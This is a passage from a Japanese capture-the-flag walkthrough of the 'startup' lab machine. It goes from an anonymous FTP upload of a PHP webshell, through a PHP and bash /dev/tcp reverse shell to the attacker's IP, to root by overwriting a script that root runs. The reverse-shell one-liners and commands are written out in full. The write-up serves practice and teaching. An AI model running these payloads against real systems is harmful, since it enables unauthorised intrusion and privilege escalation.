200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
ftp
important.jpg
notice.txt
226 Directory send OK.
ftp: 35 バイトが受信されました 0.00秒 17.50KB/秒。

http側で見たのと全く同じファイル構成が見えますね。
ここ経由で勝手にファイルをアップロードされたみたい。
webshellでも配置すればいいんかな?phpが使えるか分からないのでとりあえずnikto回してみる。
何も出てこない…とりあえずwebshellおいてみるか。

GitHub - artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web page
これを持ってきてwebshell.phpとしてftpで置いてみる。

> ftp $IP
ユーザー ($IP:(none)): anonymous
パスワード:
ftp> put webshell.php
200 PORT command successful. Consider using PASV.
553 Could not create file.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
ftp
important.jpg
notice.txt
226 Directory send OK.
ftp: 35 バイトが受信されました 0.00秒 11.67KB/秒。
ftp> cd ftp
250 Directory successfully changed.
ftp> put webshell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
ftp: 2512 バイトが送信されました 0.29秒 8.69KB/秒。

ftpフォルダ以下にしか置けなかったですね。
/files/ftp/webshell.phpにアクセスしてみよう。

f:id:hamayanhamayan:20210524221002p:plain

ok. リバースシェルだ!
いつものように> nc -vnlp 30303で待って、色々試すとphp -r '$sock=fsockopen("[your IP]",30303);exec("/bin/sh -i <&3 >&3 2>&3");'で刺さる。

散策

色々探すと答えの1つ目がとりあえず見つかる。

$ cat /recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was ■■■■■.

user.txtを探すが、唯一のユーザーであるlennieのフォルダへは入れない。
$ find / -name "user.txt" 2>/dev/nullとしてみても応答がない。
うーん、どうしようか。

第二段階:lennieでログインする

散策すると怪しいpcapファイルが見つかる。
ちょうど先ほどのftpフォルダを使えばうまく持ってこれる。

$ ls
bin
boot
dev
etc
home
incidents
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
recipe.txt
root
run
sbin
snap
srv
sys
tmp
usr
vagrant
var
vmlinuz
vmlinuz.old
$ cd incidents
$ ls
suspicious.pcapng
$ cp suspicious.pcapng /var/www/html/files/ftp/x.pcapng

pcapngファイルの解析

色々見て回っていると、とあるTCPストリームにてパスワードらしきものが書いてあるのが見える。

f:id:hamayanhamayan:20210524223233p:plain

lennieのパスワードかな?と思って試すと実際にそう。
suコマンドを使うためにパケットにもあるようにbashに変えてログインしてみるとできる。

$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@startup:/incidents$ su - lennie
su - lennie
Password: ■■■■■■■■■■■■■■■■
$ id
id
uid=1002(lennie) gid=1002(lennie) groups=1002(lennie)
$ cd /home/lennie
cd /home/lennie
$ ls -la
ls -la
total 24
drwx------ 4 lennie lennie 4096 May 24 13:29 .
drwxr-xr-x 3 root   root   4096 Nov 12  2020 ..
-rw------- 1 lennie lennie    8 May 24 13:29 .bash_history
drwxr-xr-x 2 lennie lennie 4096 Nov 12  2020 Documents
drwxr-xr-x 2 root   root   4096 Nov 12  2020 scripts
-rw-r--r-- 1 lennie lennie   38 Nov 12  2020 user.txt
$ cat user.txt
cat user.txt
■■■■■■■■■■■■■■■■■■■■■■■■■■■

第三段階:root権限へ

lennieのhomeフォルダに明らかに怪しいscriptsというフォルダがあるので中身を見てみよう。

$ cd scripts
cd scripts
$ ls -la
ls -la
total 16
drwxr-xr-x 2 root   root   4096 Nov 12  2020 .
drwx------ 4 lennie lennie 4096 May 24 13:29 ..
-rwxr-xr-x 1 root   root     77 Nov 12  2020 planner.sh
-rw-r--r-- 1 root   root      1 May 24 13:34 startup_list.txt
$ cat planner.sh
cat planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
$ cat startup_list.txt
cat startup_list.txt

ほう。rootがオーナーのファイルがありますね…
/etc/print.shを詳しく見てみる。

$ ls -la /etc/print.sh
ls -la /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12  2020 /etc/print.sh

ok. よさそう。ここにリバースシェルを仕込む。
色々試すと$ echo 'bash -c "bash -i >& /dev/tcp/[your IP]/30304 0>&1"' > /etc/print.shで刺さる。

root@startup:~# cd /root
cd /root
root@startup:~# ls -la
ls -la
total 28
drwx------  4 root root 4096 Nov 12  2020 .
drwxr-xr-x 25 root root 4096 May 24 12:47 ..
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x  2 root root 4096 Nov 12  2020 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   38 Nov 12  2020 root.txt
drwx------  2 root root 4096 Nov 12  2020 .ssh
root@startup:~# cat root.txt
cat root.txt
■■■■■■■■■■■■■■■■■■■■■■■■